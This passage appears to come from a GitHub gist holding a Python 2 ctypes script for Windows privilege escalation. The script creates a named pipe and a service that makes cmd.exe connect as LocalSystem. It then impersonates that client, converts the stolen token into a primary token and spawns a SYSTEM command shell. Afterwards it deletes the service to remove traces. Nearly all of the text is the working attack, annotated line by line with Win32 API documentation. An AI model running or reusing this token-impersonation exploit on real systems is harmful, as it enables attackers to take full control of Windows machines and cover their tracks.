serviceHandle, # _In_ hService A handle to the service. | |
0, # _In_ dwNumServiceArgs The number of strings in the lpServiceArgVectors array. If lpServiceArgVectors is NULL, this parameter can be zero. | |
None) # _In_opt_ lpServiceArgVectors If there are no arguments, this parameter can be NULL. | |
CloseServiceHandle(serviceDBHandle) # _In_ hSCObject A handle to the service control manager object or the service object to close. | |
CloseServiceHandle(schService) # _In_ hSCObject A handle to the service control manager object or the service object to close. | |
def Deleteservice(): | |
print "[*] Performing cleanup" | |
serviceDBHandle = OpenSCManager( | |
r'\\localhost', # _In_opt_ lpMachineName The name of the target computer. If the pointer is NULL or points to an empty string, the function connects to the service control manager on the local computer. | |
SERVICES_ACTIVE_DATABASE, # _In_opt_ lpDatabaseName The name of the service control manager database. | |
SC_MANAGER_CONNECT) # _In_ dwDesiredAccess The access to the service control manager. | |
serviceHandle = OpenService( | |
serviceDBHandle, # _In_ hSCManager A handle to the service control manager database. | |
ServiceName, # _In_ lpServiceName The name of the service to be opened. | |
DELETE) # _In_ dwDesiredAccess The access to the service. | |
DeleteService(serviceHandle) # _In_ hService A handle to the service. | |
print "\t[+] Deleted service:", ServiceName | |
CloseServiceHandle(serviceDBHandle) # _In_ hSCObject A handle to the service control manager object or the service object to close. | |
INVALID_HANDLE_VALUE = c_void_p(-1).value | |
if not areAdminRightsEnabled(): | |
print "Sorry this technique requires Administrative Privileges...." | |
else: | |
hPipe = CreateNamedPipe( | |
r"\\.\pipe\highsenburger69", # _In_ lpNamed The unique pipe name.This string must have the following form: \\.\pipe\pipename | |
PIPE_ACCESS_DUPLEX, # _In_ dwOpenMode The open mode in our case the pipe is bi-directional; both server and client processes can read from and write to the pipe. | |
PIPE_TYPE_BYTE | PIPE_WAIT, # _In_ dwPipeMode The pipe mode. | |
PIPE_UNLIMITED_INSTANCES, # _In_ nMaxInstances The maximum number of instances that can be created for this pipe. | |
0, # _In_ nOutBufferSize The number of bytes to reserve for the output buffer. | |
0, # _In_ nInBufferSize The number of bytes to reserve for the input buffer. | |
0, # _In_ nDefaultTimeOut The default time-out value, in milliseconds. | |
None) # _In_opt_ lpSecurityAttributes If lpSecurityAttributes is NULL, the named pipe gets a default security descriptor and the handle cannot be inherited. | |
if not hPipe: | |
raise RuntimeError("Error while creating our named pipe using CreateNamedPipe: %S" %GetLastError()) | |
print "[*] Creating our Named Pipe" | |
CALLBACK = CFUNCTYPE(None, POINTER(c_int)) | |
RunService = CALLBACK(Service) | |
print r'''[*] Running the Service() function in another thread and waiting for cmd.exe to send some data at the end of the pipe | |
\\ in the security context of the LocalSystem Account in order to impersonate it's access token''' | |
knacrack420forecsc = CreateThread( # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx | |
None, # _In_opt_ lpThreadAttributes If lpThreadAttributes is NULL, the thread gets a default security descriptor. | |
0, # _In_ dwStackSize The initial size of the stack, in bytes. The system rounds this value to the nearest page. If this parameter is zero, the new thread uses the default size for the executable. | |
RunService, # _In_ lpStartAddress A pointer to the application-defined function to be executed by the thread. This pointer represents the starting address of the thread. | |
None, # _In_opt_ lpParameter A pointer to a variable to be passed to the thread. | |
0, # _In_ dwCreationFlag The flags that control the creation of the thread in our case 0-> The thread runs immediately after creation. | |
None) # _Out_opt_ lpThreadId A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned. | |
if not knacrack420forecsc: | |
raise RuntimeError("Error while Creating thread in the virtual space of the current process to mimick a client/server interaction like a multi-thread named pipe server using CreateThread %s:" %GetLastError()) | |
CloseHandle(knacrack420forecsc) # _In_ hObject A valid handle to an open object | |
knacrack69 = ConnectNamedPipe( | |
hPipe, # _In_ hNamedPipe A handle to the server end of a named pipe instance. | |
None) # _Inout_opt lpOverlapped If hNamedPipe was not opened with FILE_FLAG_OVERLAPPED, the function does not return until a client is connected or an error occurs. | |
if not knacrack69: | |
raise RuntimeError("Error while waiting the client to trigger a connection in the Named Pipe using ConnectNamedPipe: %s" %GetLastError()) | |
print "[*] Connecting Named Pipe" | |
ReadFile( | |
hPipe, # _In_ hFile A handle to the device eg: pipe | |
0, # _Out_ lpBuffer A pointer to the buffer that receives the data read from a file or device. | |
0, # _In_ nNumberOfBytesToRead The maximum number of bytes to be read. | |
None, # _Out_opt_ lpNumberOfBytesRead A pointer to the variable that receives the number of bytes read when using a synchronous hFile parameter. Use NULL for this parameter if this is an asynchronous operation to avoid potentially erroneous results. | |
None) # _Inout_opt lpOverlapped A pointer to an OVERLAPPED structure is required if the hFile parameter was opened with FILE_FLAG_OVERLAPPED, otherwise it can be NULL. | |
print "\t[+] Receiving payload" | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa365573(v=vs.85).aspx | |
knacrackulluxklan = ImpersonateNamedPipeClient(hPipe) # _In_ hNamedPipe A handle to a named pipe. | |
if not knacrackulluxklan: | |
raise RuntimeError("Error while impersonating the access token at the end of the pipe using ImpersonateNamedPipeClient: %s" %GetLastError()) | |
print "[*] Impersonating the client's security context" | |
hToken = HANDLE(INVALID_HANDLE_VALUE) | |
knacrackackac = OpenThreadToken( | |
GetCurrentThread(), # _In_ ThreadHandle A handle to the thread whose access token is opened. | |
TOKEN_ALL_ACCESS, # _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. | |
False, # _In_ OpenAsSelf TRUE if the access check is to be made against the process-level security context. | |
byref(hToken)) # _In_ TokenHandle A pointer to a variable that receives the handle to the newly opened access token. | |
if not knacrackackac: | |
raise RuntimeError("Error while opening our thread's token using OpenThreadToken: %s" %GetLastError()) | |
print "\t[+] Opening our current process's thread token" | |
hPrimaryToken = HANDLE(INVALID_HANDLE_VALUE) | |
if not DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SECURITY_IMPERSONATION_LEVEL.SecurityDelegation, TOKEN_TYPE.TokenPrimary, byref(hPrimaryToken)): # try SecurityDelegation first | |
knacrak = DuplicateTokenEx( | |
hToken, # _In_ hExistingToken A handle to an access token opened with TOKEN_DUPLICATE access. | |
TOKEN_ALL_ACCESS, # _In_ dwDesiredAccess Specifies the requested access rights for the new token. | |
None, # _In_opt_ lpTokenAttributes If lpTokenAttributes is NULL, the token gets a default security descriptor and the handle cannot be inherited. | |
SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, # _In_ ImpersonationLevel Specifies a value from the SECURITY_IMPERSONATION_LEVEL enumeration that indicates the impersonation level of the new token. | |
TOKEN_TYPE.TokenPrimary, # _In_ TokenType The new token is a primary token. | |
byref(hPrimaryToken)) # _Out_ phNewToken A pointer to a HANDLE variable that receives the new token. | |
if not knacrak: | |
raise RuntimeError("Error while trying to convert the impersonation token into a primary token using DuplicateTokenEx: %s" %GetLastError()) | |
print "\t[+] Converting impersonation token into a primary token" | |
CMDPath = create_unicode_buffer(1024) | |
GetEnvironmentVariable( | |
u"COMSPEC", # _In_opt_ lpName The name of the environment variable. | |
CMDPath, # _Out_opt_ lpBuffer A pointer to a buffer that receives the contents of the specified environment variable as a null-terminated string. | |
1024) # _In_ nSize The size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters. | |
lpStartupInfo = STARTUPINFO() | |
lpStartupInfo.cb = sizeof(lpStartupInfo) | |
lpProcessInformation = PROCESS_INFORMATION() | |
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | |
lpStartupInfo.wShowWindow = SW_SHOW | |
lpApplicationName = CMDPath.value | |
if not advapi32.CreateProcessAsUserA(hPrimaryToken, None, lpApplicationName, None, None, False, 0, None, None, byref(lpStartupInfo), byref(lpProcessInformation)): | |
knacracklov3 = CreateProcessWithToken( | |
hPrimaryToken, # _In_ hToken A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights. To get a primary token that represents the specified user, call the DuplicateTokenEx function to convert an impersonation token into a primary token. | |
LOGON_NETCREDENTIALS_ONLY, # _In_ dwLogonFlags Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials. | |
lpApplicationName, # _In_opt_ lpApplicationName The name of the module to be executed. | |
None, # _Inout_opt lpCommandLine The command line to be executed. | |
CREATE_NEW_CONSOLE, # _In_ dwCreationFlagg The flags that control how the process is created. | |
None, # _In_opt_ lpEnvironment A pointer to an environment block for the new process. If this parameter is NULL, the new process uses an environment created from the profile of the user specified by lpUsername. | |
None, # _In_opt_ dwCreationFlags The flags that control how the process is created. The new process has a new console, instead of inheriting the parent's console. This flag cannot be used with the DETACHED_PROCESS flag. | |
byref(lpStartupInfo), # _In_ lpStartupInfo A pointer to a STARTUPINFO structure. | |
byref(lpProcessInformation)) # _Out_ lpProcessInfo A pointer to a PROCESS_INFORMATION structure that receives identification information for the new process, including a handle to the process. | |
if knacracklov3 == 0: | |
raise RuntimeError("Error while triggering admin payload using CreateProcessWithToken: %s" %GetLastError()) | |
print "[*] Triggering payload with specified token PID:", lpProcessInformation.dwProcessId | |
Deleteservice() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment